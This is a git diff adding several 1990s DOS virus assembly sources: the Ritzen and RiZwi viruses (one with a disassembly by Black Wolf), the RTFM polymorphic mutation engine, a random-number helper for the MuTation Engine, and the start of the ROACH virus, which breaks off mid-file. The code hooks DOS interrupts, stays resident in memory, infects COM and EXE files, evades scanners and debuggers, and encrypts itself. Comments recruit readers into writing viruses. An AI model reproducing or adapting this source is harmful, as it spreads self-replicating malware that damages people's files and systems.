-0,0 +1,495 @@ +;***************************************************************************** +;* * +;* The Ritzen Virus * +;* * +;* (c) '93, by S.A.R. (Students Agains Ritzen) / TridenT * +;* * +;***************************************************************************** + + .model tiny + .radix 16 + .code + +len equ offset last - atlantic +len_para equ len /10h + +mem_size equ 60h + + org 100h + + +dummy: db 0e9h,00h,00h ; dummy file, + ; contains jump to + ; virus code. + +atlantic: call get_ip + sub bp,offset atlantic+3 + +rest_host: push ds + pop ax + mov cs:[segm+bp],ax + cmp cs:[type_host+bp],'E' ; check if host + je fix_exe ; is COM or EXE. + +fix_com: lea si,cs:[com_start+bp] ; fix start of + mov ax,es + inc ax + mov es,ax + mov di,00F0h ; com host with + mov cx,03h ; original data. + rep movsb + + mov ax,es + dec ax + mov es,ax + + mov ax,0100h ; IP start at 0100h. + push cs ; store segment+IP + push ax ; on stack. + jmp chk_resident + +fix_exe: mov ax,cs:[exe_cs+bp] ; CS and IP on stack + mov bx,ax + mov ax,ds + add ax,bx + add ax,10h + push ax + mov bx,cs:[exe_ip+bp] + push bx + +chk_resident: mov dx,0aaaah + mov ax,3000h + int 21h + cmp dx,0bbbbh + je end_install + +mem_install: push ds ; let DS points + push ds + pop ax ; to MCB + dec ax ; 2 times to fool + dec ax ; heuristic scanners + push ax + pop ds + cmp byte ptr ds:[0010],5ah ; last MCB? + jne abort_install ; if no, quit. + + mov ax,ds:[0013] ; adjust memory + sub ax,mem_size ; size. + mov ds:[0013],ax ; store size in MCB. + + pop ds ; restore original + ; DS segment. + + sub word ptr ds:[0002],mem_size ; don't forget to + ; adjust memory + ; size stored in + ; PSP to. + +vir_install: xchg ax,bx ; install virus + mov ax,es + add ax,bx ; AX = virussegment + mov es,ax + mov cs:[vir_seg+bp],ax + + push cs + pop ds + + lea si,[atlantic+bp] ; copy virus to + lea di,es:0103h ; memory + mov cx,len +copy: movsb + dec cx + jnz copy + + push ds + pop es + +hook_i21h: cli + mov ax,3521h + int 21h + + mov ds,cs:[vir_seg+bp] + mov [i21h],bx + mov [i21h+2],es + +; mov dx, offset ds:[mine_i21h] +; mov ax,2521h +; int 21h + + mov ax,ds + mov bx,ax + mov dx, offset ds:[mine_i21h] + xor ax,ax + mov ds,ax + mov ds:[4*21h],dx + mov ds:[4*21h+2],bx + + sti + + +abort_install: mov ax,cs:[segm+bp] + push ax + pop es + push es + pop ds + +end_install: retf + +;************************************************************************* +;* * +;* I N T E R U P T H A N D L E R * +;* * +;************************************************************************* + +mine_i24h: mov al,03h + iret + +mine_i21h: pushf ; check for + cmp ax,3000h ; virus ID + jne new_21h + cmp dx,0aaaah + jne new_21h + mov dx,0bbbbh ; return ID + popf + iret + + +new_21h: push ax ; save registers + push bx + push cx + push dx + push ds + push es + push di + push si + +chk_open: xchg ax,bx + cmp bh,3dh ; open file? + je chk_com + +chk_exec: cmp bx,04b00h ; execute file? + je chk_com + +continu: pop si ; restore registers + pop di + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + +next: popf ; call original + jmp dword ptr cs:[i21h] ; interupt + +;************************************************************************** +;* * +;* C H E C K C O M / E X E F I L E * +;* * +;************************************************************************** + + +chk_com: mov cs:[name_seg],ds + mov cs:[name_off],dx + cld + + mov cx,0ffh + push ds + pop es + push dx + pop di + mov al,'.' + repne scasb + cmp word ptr es:[di],'OC' + jne chk_exe + cmp word ptr es:[di+2],'M' + jne continu + jmp infect_com + + + +chk_exe: cmp word ptr es:[di],'XE' + jne continu + cmp word ptr es:[di+2],'E' + jne continu + jmp infect_exe + + + +;************************************************************************** +;* * +;* I N F E C T C O M - F I L E * +;* * +;************************************************************************** + +infect_com: call init + cmp cs:[fout],0ffh + je close_file + + mov cs:[type_host],'C' + + mov ax,4200h ; go to start of file + call mov_point + + mov cx,03h + mov ah,3fh + lea dx,cs:[com_start] + call do_int21h + + mov ax,4200h + call mov_point + mov ax,4202h + call mov_point + + sub ax,03h + mov cs:[lenght_file],ax + + call write_jmp + call write_vir + + call save_date + +close_file: mov bx,cs:[handle] + mov ah,3eh + call do_int21h + +restore_int24h: mov dx,cs:[i24h] + mov ds,cs:[i24h+2] + mov ax,2524h + call do_int21h + + jmp continu + +;************************************************************************** +;* * +;* I N F E C T E X E - F I L E * +;* * +;************************************************************************** + +infect_exe: call init + cmp cs:[fout],0ffh + je close_file + mov cs:[type_host],'E' + + mov ax,4200h + call mov_point + mov ah,3fh + mov cx,18h + lea dx,[head_exe] + call do_int21h + + call inf_exe + + call save_date + jmp close_file + + +;************************************************************************** +;* * +;* R O U T I N E S * +;* * +;************************************************************************** + +get_ip: push sp ; get ip from stack + pop bx + mov ax, word ptr cs:[bx] + mov bp,ax + ret + +init: mov cs:[fout],00h + + call int24h + call open_file + jc error + call set_atributes + call get_date + call chk_infect + je error + ret + +error: mov cs:[fout],0ffh + ret + + +int24h: push cs + pop ds + mov ax,3524h + call do_int21h + mov cs:[i24h],bx + mov cs:[i24h+2],es + mov dx, offset mine_i24h + mov ax,2524h + call do_int21h + ret + +mov_point: push cs + pop ds + mov bx,cs:[handle] + xor cx,cx + xor dx,dx + call do_int21h + ret + +open_file: mov ds,cs:[name_seg] + mov dx,cs:[name_off] + mov ax,3d02h + call do_int21h + + mov cs:[handle],ax + mov bx,ax + ret + +set_atributes: mov ax,4200h + mov ds,cs:[name_seg] + mov dx,cs:[name_off] + call do_int21h + and cl,0feh + mov ax,4301h + call do_int21h + ret + +get_date: mov bx,cs:[handle] + mov ax,5700h + call do_int21h + mov cs:[date],dx + mov cs:[time],cx + ret + +chk_infect: push cs + pop ds + mov ax,4202h + xor cx,cx + sub cx,01h + xor dx,dx + sub dx,02h + mov bx,cs:[handle] + call do_int21h + + mov ah,3fh + mov cx,02h + lea dx,cs:[file_id] + call do_int21h + + mov al, byte ptr cs:[file_id] + mov ah, byte ptr cs:[file_id]+1 + cmp ax,[virus_id] + ret + +write_jmp: push cs + pop ds + mov ax,4200h + call mov_point + mov ah,40h + mov cx,01h + lea dx,cs:[jump] + call do_int21h + + mov ah,40h + mov cx,02h + lea dx,cs:[lenght_file] + call do_int21h + ret + +write_vir: push cs + pop ds + mov ax,4202h + call mov_point + mov ah,40h + mov cx,len + mov dx,103h + call do_int21h + ret + +save_date: mov ax,5700h + call do_int21h + mov cs:[date],dx + mov cs:[time],cx + ret + +inf_exe: mov ax,word ptr cs:[head_exe+14h] + mov cs:[exe_ip],ax + mov ax, word ptr cs:[head_exe+16h] + mov cs:[exe_cs],ax + + mov ax,4200h + call mov_point + mov ax,4202h + call mov_point + mov bx,10h + div bx + sub ax, word ptr cs:[head_exe+08h] + mov cs:[new_cs],ax + mov cs:[new_ip],dx + + call write_vir + + mov ax,4200h + call mov_point + mov ax,4202h + call mov_point + mov bx,0200h + div bx + cmp dx,0000h + jne not_zero + jmp zero +not_zero: inc ax +zero: mov word ptr cs:[head_exe+02h],dx + mov word ptr cs:[head_exe+04h],ax + mov ax,cs:[new_ip] + mov word ptr cs:[head_exe+14h],ax + mov ax,cs:[new_cs] + mov word ptr cs:[head_exe+16h],ax + mov word ptr cs:[head_exe+0Eh],ax + add word ptr cs:[head_exe+10],len_para + +; mov word ptr cs:[head_exe+10],1000 + + mov ax,4200h + call mov_point + + mov ah,40h + mov bx,cs:[handle] + mov cx,18h + lea dx,cs:[head_exe] + + call do_int21h + ret + +do_int21h: pushf + call dword ptr cs:[i21h] + ret + +;**************************************************************************** +;* * +;* D A T A * +;* * +;**************************************************************************** + +type_host db 'C' +com_start db 0cdh,20h,90h +message db " Dedicated to Ritzen, our Minister of Education and Science." + db " We are getting sick of your budget cuts so we hope that" + db " you get sick of this virus.." + db " (c) '93 by S.A.R. / TridenT ." +exe_cs dw ? +exe_ip dw ? +new_cs dw ? +new_ip dw ? +vir_seg dw ? +i21h dw 00h,00h +i24h dw 00h,00h +name_seg dw ? +name_off dw ? +lenght_file dw ? +head_exe db 18 dup (?) +handle dw ? +fout db ? +file_id dw ? +jump db 0e9h +date dw ? +time dw ? +segm dw ? +virus_id dw "AP" +last dw "AP" + + end dummy diff --git a/r/RIZWI.A86 b/r/RIZWI.A86 new file mode 100755 index 0000000..f8b8066 --- /dev/null +++ b/r/RIZWI.A86 @@ -0,0 +1,256 @@ +; +; RiZwi Virus by John Tardy / Trident V1.1 +; +; This is a tom-resident .com infector, including command.com. it attaches +; itself at the eof. when the generation counter is between 200 and 240, a +; timer counter will be started. when it reached 5000 hex ticks, it will +; display a message with black chars and a red background in the upper corner. +; The message says an important fact of Righard Zwienenberg, who is known in +; The Netherlands as a anti-virus researcher. In fact, he did release a virus, +; named "DUTCH-555". I know he did it accidentally, but you should do it. You +; have to be on just one side, virus or antivirus. If you can't choose, then +; stop with computing. If you choose, I hope you choose our side. It has more +; possibilities and with your capabilities your virii could be well-known +; (look at the VSUM for your ratings). Maybe you even choose to be part of +; [NUkE] or Phalcon/Skism or even Trident. +; +; This is a bug-fix of V1.0, which kept the original interupt in the main +; program, thus simply hanging. This one has also a little debugger trap. + + Org 100h + +Prg: Call On1 +On1: Pop Bp + Sub Bp,On1 + Mov Ah,30h + Int 21h + Cmp Bx,'BC' + Je Tooz + + Mov Ah,2ah + Int 21h + In Al,21h + Cmp Cx,1993 + Ja MakeRes + Cmp Dh,4 + Ja MakeRes +Tooz: Jmp DoCom + +MakeRes: Or Al,02h + Push Ax + Mov Ax,351ch + Int 21h + Mov Word Ptr Cs:Old1c[0][Bp],Bx + Mov Word Ptr Cs:Old1c[2][Bp],es + Pop Ax + Out 21h,Al +CutIt: Mov Ax,3521h + Int 21h + Mov Word Ptr Cs:Old21[0][Bp],Bx + Mov Word Ptr Cs:Old21[2][Bp],Es + In Al,21h + And Al,2 + Push Ax + Mov Ax,Cs + Dec Ax + Mov Ds,Ax + Cmp Byte Ptr Ds:[0],'Z' + Jne DoCom + Sub Word Ptr Ds:[3],PrgPar + Sub Word Ptr Ds:[12h],PrgPar + Lea Si,Prg[Bp] + Mov Di,100h + Pop Ax + Cmp Al,2 + Jne CutIt + Mov Ax,Word Ptr Ds:[12h] + Sub Ax,10h + Mov Es,Ax + Mov Cx,PrgLen + Push Cs + Pop Ds + Rep Movsb + In Al,21h + Xor Al,2 + Mov Ds,Es + Out 21h,Al + Mov Ax,251ch + Lea Dx,New1c + Int 21h + Mov Ax,2521h + Lea Dx,New21 + Int 21h +DoCom: Push Cs + Pop Ds + Mov Es,Ds + Mov Di,100h + Push Di + Lea Si,OrgPrg[Bp] + Movsw + Movsb + Ret + +OrgPrg DB 0CDh,020h + DB '' + + Db '[TridenT]' + +Dos: Pushf + Call Dword Ptr Cs:[Old21] + Ret + + Db '{V1.1 Bugfix}' + +Old21 DD 0 +New21: Cmp Ax,4b00h + Je Exec + Cmp Ah,30h + Jne EOI + Call Dos + Mov Bx,'BC' + Iret + +EOI: Jmp Dword Ptr Cs:[Old21] + +Exec: Push Ax + Push Bx + Push Cx + Push Dx + Push Si + Push Di + Push Ds + Push Es + Push Bp + Push Ds + Push Dx + Mov Ax,4300h + Call Dos + Mov FAttr,Cx + Xor Cx,Cx + Mov Ax,4301h + Call Dos + Mov Ax,3d02h + Call Dos + Mov FHandle,Ax + Xchg Ax,Bx + Mov Ax,5700h + Call Dos + Mov Word Ptr Cs:[FTime],Cx + Mov Word Ptr Cs:[FDate],Dx + And Cx,1fh + Cmp Cx,1fh + Jne DoMore +Close: Mov Ah,3eh + Call Dos + Pop Dx + Pop Ds + Mov Cx,FAttr + Mov Ax,4301h + Call Dos + Jmp ShutDown +DoMore: Mov Ah,3fh + Push Cs + Pop Ds + Lea Dx,OrgPrg + Mov Cx,3 + Call Dos + Cmp Word Ptr Cs:[OrgPrg],'MZ' + Je Close + Cmp Word Ptr Cs:[OrgPrg],'ZM' + Je Close + Mov Ax,4202h + Xor Cx,Cx + Xor Dx,Dx + Call Dos + Sub Ax,3 + Mov Jump,Ax + Mov Ah,40h + Lea Dx,Prg + Mov Cx,PrgLen + Call Dos + Mov Ax,4200h + Xor Cx,Cx + Xor Dx,Dx + Call Dos + Mov Ah,40h + Lea Dx,Start + Mov Cx,3 + Call Dos + Mov Ax,5701h + Mov Cx,FTime + Mov Dx,FDate + Or Cx,1fh + Call Dos + Inc Byte Ptr Cs:[FileCount] + Jmp Close + +ShutDown: Pop Bp + Pop Es + Pop Ds + Pop Di + Pop Si + Pop Dx + Pop Cx + Pop Bx + Pop Ax + Jmp EOI + +Old1c DD 0 + +New1c: pushf + push ax + push cx + push si + push di + push ds + push es + Cmp Byte Ptr Cs:[FileCount],200 + Jb EOI16 + Cmp Byte Ptr Cs:[FileCount],240 + Ja EOI16 + + Cmp Word Ptr Cs:[ActCount],5000h + Je Activate + Inc Word Ptr Cs:[ActCount] + Jmp EOI16 + +Activate: + Mov Ds,Cs + Mov Ax,0b800h + + Mov Es,Ax + Lea Si,ScrMsg + Mov Di,160 + Sub Di,ScrLen + + Mov Cx,ScrLen + Rep MovSb + +EOI16: pop es + pop ds + pop di + pop si + pop cx + pop ax + popf + iret + +ScrMsg Db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnObOeOrOgO OmOaOdOeO OtOhOeO ODOUOTOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O O' +ScrLen Equ $-ScrMsg + +FileCount Db 0 +ActCount Dw 0 +Start Db 0e9h +Jump Dw 0 +FAttr Dw 0 +FHandle Dw 0 +FDate Dw 0 +FTime Dw 0 + +PrgLen Equ $-Prg +PrgPar Equ (PrgLen+0fh)/16 + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/r/RIZWI.ASM b/r/RIZWI.ASM new file mode 100755 index 0000000..755d144 --- /dev/null +++ b/r/RIZWI.ASM @@ -0,0 +1,297 @@ +;Rizwi Virus from the TridenT research group. +;Memory resident .COM infector. + +;This virus is only active after the spring of 1994. +;When active, it infects .COM files on execution, and keeps +;track of the number of files that it has infected. While it has +;infected between 0C8h and 0f0h files, it displays the message +;that " Righard Zwienenberg made the DUTCH-555 virus!!! " on +;the screen. + +;This virus has some anti-debugging code, as it masks the keyboard +;interrupt and checks to see if it remaines masked, so when debugging +;through it one must jump over these sections of code (In/Out port 21h +;and the checking of ax accompanying them). + +;Disassembly by Black Wolf + +.model tiny +.code + + org 100h + +start: + call Get_Offset +Get_Offset: + pop bp + sub bp,offset Get_Offset + + mov ah,30h + int 21h ;Get Dos version/Install Check + + cmp bx,4243h + je DoneInstall ;Already Installed + + mov ah,2Ah + int 21h ;Get date + + in al,21h ;Read interrupt masks... + + cmp cx,1993 ;Is year later than 1993? + ja GoMemRes ;If not, exit. + + cmp dh,4 + ja GoMemRes ;Is month < May, exit. +DoneInstall: + db 0e9h,74h,0 ;jmp ReturnToHost + +GoMemRes: + or al,2 + push ax + mov ax,351Ch + int 21h ;Get timer interrupt + + mov cs:[Int1cIP+bp],bx + mov cs:[Int1cCS+bp],es + + pop ax + out 21h,al ;Interrupt - disable keyboard? + +SetInterrupts: + mov ax,3521h + int 21h ;Get int 21 address + + mov word ptr cs:[OldInt21+bp],bx + mov word ptr cs:[OldInt21+2+bp],es + in al,21h + and al,2 + push ax + + mov ax,cs + dec ax + mov ds,ax ;Set DS = MCB + cmp byte ptr ds:0,'Z' ;Are we at the end of the + jne ReturnToHost ;memory chain? + + ;sub word ptr ds:[3],27h ;Decrease MCB size + db 81h,2eh,03,0,27h,0 + + ;sub word ptr ds:[12h],27h ;Decrease PSP top of memory + db 81h,2eh,12h,0,27h,0 + + lea si,[bp+100h] ;SI = beginning of virus + mov di,100h ;DI = new offset (100h) + + pop ax + cmp al,2 ;Did someone skip interrupt + jne SetInterrupts ;disabling code? If so, + ;loop them back to redo + ;interrupt setting. + + + mov ax,ds:[12h] ;Get free segment + sub ax,10h ;Subtract 10h to account for + mov es,ax ; offset of 100h + mov cx,263h + push cs + pop ds + rep movsb ;Copy virus into memory + in al,21h + xor al,2 + push es + pop ds + out 21h,al ;Do the keyboard int again... + + mov ax,251Ch + mov dx,offset Int1cHandler + int 21h ;Set int 1ch + + + mov ax,2521h + mov dx,offset Int21Handler + int 21h ;Set int 21h + +ReturnToHost: + push cs ;Restore Seg regs + pop ds + push ds + pop es + mov di,100h + push di + lea si,[bp+Storage_Bytes] ;Storage bytes + movsw + movsb ;Restore host + ret + + +Storage_Bytes: + int 20h + popf + +TridenT_ID db '[TridenT]' + +FakeInt21h: + pushf + call dword ptr cs:OldInt21 ;Fake Interrupt 21h + retn + + +VirusVersion db '{V1.1 Bugfix}' + +OldInt21 dw 0, 0 + +Int21Handler: + cmp ax,4b00h + je IsExecute + cmp ah,30h + jnz ExitInt21 + call FakeInt21h + mov bx,4243h + iret + +ExitInt21: + jmp dword ptr cs:OldInt21 + +IsExecute: + push ax bx cx dx si di ds es bp ds dx + + mov ax,4300h + call FakeInt21h ;Get attributes + + mov FileAttribs,cx ;Save them + xor cx,cx + mov ax,4301h ;Reset Attributes + call FakeInt21h + + mov ax,3D02h ;Open file + call FakeInt21h + + mov Filehandle,ax + xchg ax,bx + mov ax,5700h + call FakeInt21h ;Get file date/time + mov cs:[FileTime],cx ; and save them + mov cs:[FileDate],dx + and cx,1Fh + cmp cx,1Fh ;Check infection in time stamp + jne Infect_File + + +CloseFile: + mov ah,3Eh + call FakeInt21h + + pop dx ;Pop filename address + pop ds + mov cx,FileAttribs + mov ax,4301h + call FakeInt21h ;Reset Attributes + + db 0e9h, 67h, 0 ;jmp DoneInfect + +Infect_File: + mov ah,3Fh + push cs + pop ds + mov dx,offset Storage_Bytes + mov cx,3 + call FakeInt21h ;Read in first 3 bytes + + cmp word ptr cs:[Storage_Bytes],4D5Ah ;Is EXE? + je CloseFile + cmp word ptr cs:[Storage_Bytes],5A4Dh ;Is alternate EXE? + je CloseFile + + mov ax,4202h + xor cx,cx + xor dx,dx + call FakeInt21h ;Go to the end of file + + sub ax,3 ;adjust size for jump + mov word ptr [JumpSize],ax ;save jump size + + mov ah,40h + mov dx,100h + mov cx,263h + call FakeInt21h ;Append Virus to host + + mov ax,4200h + xor cx,cx + xor dx,dx ;Go to beginning + call FakeInt21h ;of host file. + + mov ah,40h + mov dx,358h + mov cx,3 + call FakeInt21h ;Write Jump bytes + + mov ax,5701h + mov cx,[FileTime] + mov dx,[FileDate] + or cx,1Fh ;Mark infection in time stamp + call FakeInt21h ;Restore time/date + + inc byte ptr cs:[Counter] ;Activation counter... + jmp short CloseFile + +DoneInfect: + pop bp es ds di si dx cx bx ax + jmp ExitInt21 + +Int1cIP dw 0 +Int1cCS dw 0 + +Int1cHandler: ;While infections are between C8h and F0h, + ;Stick message on screen every once in a while. + pushf + push ax cx si di ds es + cmp byte ptr cs:[Counter],0C8h + jb ExitInt1c + cmp byte ptr cs:[Counter],0F0h + ja ExitInt1c + cmp word ptr cs:[TimerCount],5000h + je WriteMessageToScreen + inc word ptr cs:[TimerCount] + + db 0e9h,16h,0 ;jmp ExitInt1c + +WriteMessageToScreen: + push cs + pop ds + mov ax,0B800h ;Text Screen memory + mov es,ax + mov si,offset Message + mov di,0A0h + db 81h,0efh,62h,0 ;sub di,EndMessage-Message + mov cx,EndMessage-Message + rep movsb + +ExitInt1c: + pop es ds di si cx ax + popf + iret + +;Message says " Righard Zwienenberg made the DUTCH-555 virus!!! " +;Capital O's are attribute values.... + +Message: + db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnO' + db 'bOeOrOgO OmOaOdOeO OtOhOeO ODOUO' + db 'TOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O' + db ' O' +EndMessage: + +Counter db 0 + +TimerCount dw 0 + +JumpBytes db 0E9h +JumpSize dw 0 + +FileAttribs dw 0 +Filehandle dw 0 +FileDate dw 0 +FileTime dw 0 + +end start + diff --git a/r/RME11.ASM b/r/RME11.ASM new file mode 100755 index 0000000..1025f0d --- /dev/null +++ b/r/RME11.ASM @@ -0,0 +1,324 @@ +;------------------------------------------------------------------------------ +; +; Rajaats Tiny Flexible Mutator (RTFM) V1.1 (C) 1994 by Rajaat +; +; Purpose : making it impossible to use scan strings +; +; Input : +; DS:SI = piece of code to encrypt +; ES:SI = place of decryptor+encrypted code +; CX = length of code (include the mutator (mut_len)) +; BX = offset of decryptor in file +; AX = flag bits +; 0 = 1 do not use junk code +; Output : +; DS:DX = place of decryptor+encrypted code +; CX = length of encrypted code+decryptor +; BP = preserved +; Other registers might be trashed +; +; History : +; 1.0 initial version +; 1.1 the decrease counter can get an add or sub +; the increase pointer can get an add or sub +; added random byte operation with one register as trash function +; +;------------------------------------------------------------------------------ +SMART +JUMPS + +_text segment 'text' + assume cs:_text + +.radix 16 + + public mut_top + public mut_bottom + public mut_len + public rnd_init + public rnd_get + public mutate + +dos_get_time equ 2c +dos_get_date equ 2a + +mut_bottom = $ +reg enum _ax,_cx,_dx,_bx,_sp,_bp,_si,_di + +seed dw 0 +count dw 0 +ofs dw 0 +dest dw 0 +indexbyte db 00000000b +countbyte db 00000000b +process db 00000000b ; bit 0 : 1 = count register set up + ; 1 : 1 = index register set up + ; 2 : 1 = don't use junk code + +decraddr dw 0 +loopaddr dw 0 + +opertab db 30,0,28 +trash equ $ + cmc + clc + stc + nop + +mutate: push bp + push ds + push es + push si + call mut_delta +mut_delta: pop bp + sub bp,offset mut_delta + mov byte ptr cs:[process][bp],0 + mov byte ptr cs:[indexbyte][bp],0 + mov byte ptr cs:[countbyte][bp],0 + mov word ptr cs:[count][bp],cx + mov word ptr cs:[ofs][bp],bx + mov word ptr cs:[dest][bp],di + test al,1 + jnz usejunk + or byte ptr cs:[process][bp],4 +usejunk: call rnd_init +setaction: mov al,byte ptr cs:[process][bp] + and al,3 + cmp al,3 + jz setregsok + jmp setregs +setregsok: call insert_trash + mov word ptr cs:[loopaddr][bp],di + mov ax,802e + stosw +getoper: call rnd_get + and ax,3 + or al,al + jz getoper + mov bx,ax + add bx,bp + push ds + push cs + pop ds + lea si,opertab[bx-1] + lodsb + pop ds + mov byte ptr cs:[action][bp],al + cmp al,30 + jz noaddsubflip + xor byte ptr cs:[action][bp],28 +noaddsubflip: add al,byte ptr cs:[indexbyte][bp] + test al,4 + jnz toomuch + xor al,6 +toomuch: xor al,2 + stosb + call rnd_get + stosb + push ax + call insert_trash + call rnd_get + test al,1 + jnz ptrinc + test al,2 + jnz ptrsub + mov ax,0c083 + add ah,byte ptr cs:[indexbyte][bp] + stosw + mov al,01 + stosb + jmp makecount +ptrsub: mov ax,0e883 + add ah,byte ptr cs:[indexbyte][bp] + stosw + mov al,0ffh + stosb + jmp makecount +ptrinc: mov al,40 + add al,byte ptr cs:[indexbyte][bp] + stosb +makecount: call insert_trash + call rnd_get + test al,1 + jnz countdec + test al,2 + jnz countsub + mov ax,0c083 + add ah,byte ptr cs:[countbyte][bp] + stosw + mov al,0ff + stosb + jmp makeloop +countsub: mov ax,0e883 + add ah,byte ptr cs:[countbyte][bp] + stosw + mov al,01 + stosb + jmp makeloop +countdec: mov al,48 + add al,byte ptr cs:[countbyte][bp] + stosb +makeloop: mov al,75 + stosb + mov ax,word ptr cs:[loopaddr][bp] + sub ax,di + dec ax + stosb + call insert_trash + mov ax,di + sub ax,word ptr cs:[dest][bp] + add ax,word ptr cs:[ofs][bp] + push di + mov di,word ptr cs:[decraddr][bp] + stosw + pop di + pop ax + xchg al,ah + pop si + mov cx,word ptr cs:[count][bp] +encrypt: lodsb +action equ $ + db 0,0e0 + stosb + loop encrypt + mov cx,di + mov dx,word ptr cs:[dest][bp] + sub cx,dx + pop es + pop ds + pop bp + ret + +setregs: call insert_trash + call rnd_get + test al,1 + jnz firstcount + testflag byte ptr cs:[process][bp],2 + jnz return + setflag byte ptr cs:[process][bp],2 + call set_index + jmp setaction +firstcount: testflag byte ptr cs:[process][bp],1 + jnz return + setflag byte ptr cs:[process][bp],1 + call set_count +return: jmp setaction + +set_index: call rnd_get + and al,1 + or al,6 + test ah,1 + jz nobx + mov al,_bx +nobx: cmp al,byte ptr cs:[countbyte][bp] + jz set_index + mov byte ptr cs:[indexbyte][bp],al + add al,0b8 + stosb + mov word ptr cs:[decraddr][bp],di + stosw + ret + +set_count: call rnd_get + and al,7 + cmp al,byte ptr cs:[indexbyte][bp] + jz set_count + cmp al,_sp + jz set_count + mov byte ptr cs:[countbyte][bp],al + add al,0b8 + stosb + mov ax,word ptr cs:[count][bp] + stosw + ret + +insert_trash: test byte ptr cs:[process][bp],4 + jnz trasher + ret +trasher: call rnd_get + test ah,1 + jnz specialtrash + and ax,3 + or ax,ax + jz trash_done + mov cx,ax +more_trash: call rnd_get + and ax,3 + lea bx,trash[bp] + add bx,ax + mov al,byte ptr cs:[bx] + stosb + loop more_trash +trash_done: ret +specialtrash: call rnd_get + and al,7 + cmp al,_sp + jz specialtrash + cmp al,byte ptr cs:[indexbyte][bp] + je specialtrash + cmp al,byte ptr cs:[countbyte][bp] + je specialtrash + test ah,1 + jz domov + test ah,2 + jz doinc + test ah,4 + jz dodec + mov al,083 + stosb +regtrash: call rnd_get + mov ah,al + and al,7 + cmp al,_sp + jz regtrash + cmp al,byte ptr cs:[indexbyte][bp] + jz regtrash + cmp al,byte ptr cs:[countbyte][bp] + jz regtrash + mov al,ah + or al,0c0 + stosb + call rnd_get + stosb + ret +dodec: add al,8 +doinc: add al,40 + stosb + ret +domov: add al,0b8 +storeit: stosb + call rnd_get + stosw + ret + +rnd_init: mov ah,dos_get_time + int 21 + xor cx,dx + mov word ptr cs:[seed][bp],cx + mov ah,dos_get_date + int 21 + mov cl,al + rcr dx,cl + not dx + sbb word ptr cs:[seed][bp],dx + ret +rnd_get: push bx + mov bx,word ptr cs:[seed][bp] + in al,40 + xchg ah,al + in al,40 + xor ax,bx + sbb ax,bx + ror ax,1 + mov word ptr cs:[seed][bp],ax + pop bx + ret + + db '[RTFM]' + +mut_top = $ +mut_len = mut_top-mut_bottom+0fh + +_text ends +end + diff --git a/r/RND.ASM b/r/RND.ASM new file mode 100755 index 0000000..26eb0fb --- /dev/null +++ b/r/RND.ASM @@ -0,0 +1,68 @@ + +; A pseudo random numbers generator +; for use with the MuTation Engine + +; Version 1.01 (26-10-91) +; (C) 1991 CrazySoft, Inc. + + .model tiny + .code + + public rnd_init, rnd_get, rnd_buf, data_top + +rnd_init: + push ds si dx cx bx + xor ah,ah + int 1ah + in al,[40h] + mov ah,al + in al,[40h] + xor ax,cx + xor dx,ax + push cs + pop ds + mov si,offset rnd_buf + xor bh,bh + jmp short rnd_put +rnd_get: + push ds si dx cx bx + push cs + pop ds + mov si,offset rnd_buf + mov bl,[si] + xor bh,bh + mov ax,[bx+si+2] + mov dx,[bx+si+4] + add byte ptr [si],4 + mov cx,7 +rnd_lup: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns nxt_bit + inc al +nxt_bit: + loop rnd_lup +rnd_put: + mov bl,[si+1] + mov [bx+si+2],ax + mov [bx+si+4],dx + add bl,4 + mov [si+1],bl + mov al,dl + cmp bl,[si] + jnz rnd_done + add byte ptr [si],4 +rnd_done: + pop bx cx dx si ds + ret + + .data + +rnd_buf dw 129 dup(?) + +data_top: + + end + \ No newline at end of file diff --git a/r/ROACH.ASM b/r/ROACH.ASM new file mode 100755 index 0000000..df7ca08 --- /dev/null +++ b/r/ROACH.ASM @@ -0,0 +1,311 @@ +;Developed and Programmed in Australia. +;Copy_ya_right 1997 + +;Virus Name : ROACH + +;The ROACH virus will install itself memory resident, below the video memory. +;once this virus is in memory it will only infect COM files. It will not +;infect command.com. + +;--------------------------- S T A R T ------------------------------------- + +host_start: ;start of the host file + jmp virus_start ;start the virus code + mov ah,4ch ;exit the virus code + int 21h ;dos call + +;----- This is the start of the virus code ---------------------------------- + +virus_start: ;start of the virus code + mov ax,sp ;load ax with stack pointer + mov si,ax ;move stack pointer to si + mov ax,ss ;move stack segment to ax + mov ds,ax ;load ds with stack segment + mov di,100h ;point to the host start + mov cx,2 ;we need to do this twice +push_100_to_stack: + dec si,2 ;dec the stack pointer + mov sp,si ;move the stack pointer + mov word ptr ds:[si],di ;save di to the stack + loop push_100_to_stack ;do it twice + + inc di ;inc byte one + mov al,byte ptr es:[di] + mov ah,byte ptr es:[di+1] + add ax,103h + mov bp,ax ;save to the + + add si,2 ;inc the stack pointer + mov sp,si ;mov the stack pointer + mov di,word ptr ds:[si] ;get the address from stack + + mov si,bp ;load si with fix address + add si,virus_len ;and host to the source index + sub si,3 + push es + pop ds ;get the data segment + mov cx,3 ;move 3 bytes + rep movsb ;and move the data back + + mov ax,5432h ;are we resident + int 21h ;dos call + cmp ax,0063h ;are we resident + jne memory_resident ;lets go resident + +exit_virus: + xor ax,ax ;fix up + mov bx,ax ;fix up + mov cx,ax ;fix up + mov dx,ax ;fix up + mov di,ax ;fix up + mov si,ax ;fix up + mov es,ax ;fix up + ret ;and return to the host + +;----- This makes the virus go memory resident ------------------------------ + +memory_resident: + mov ah,52h ;get the list of lists + int 21h ;dos call + mov ax,es:[bx-2] ;load ax first mcb chain + mov es,ax ;set es to first mcb block + +mcb1: + cmp byte ptr es:[0],'Z' ;is it the last mcb chain + jne mcb2 ;not then next mcb chain + clc ;clear carry flag + jmp mcbx ;found last mcb chain, bail + +mcb2: + mov ax,es ;mov extra segment to ax + add ax,word ptr es:[3] ;add from the list + inc ax ;fix up + mov es,ax ;es is the new segment + jmp short mcb1 ;and do it again + +mcbx: + mov byte ptr es:[0],'Z' ;make it the last mcb chain + sub word ptr es:[3],virus_len/15 ;take the virus from the mcb + add ax,word ptr es:[3] ; + inc ax ;fix up the address + mov es,ax ;es is the new segment + + push es ;save to the stack + push cs ;push the code segment + pop ds ;get ds from the stack + + mov ax,3521h ;get interrupt 21h + int 21h 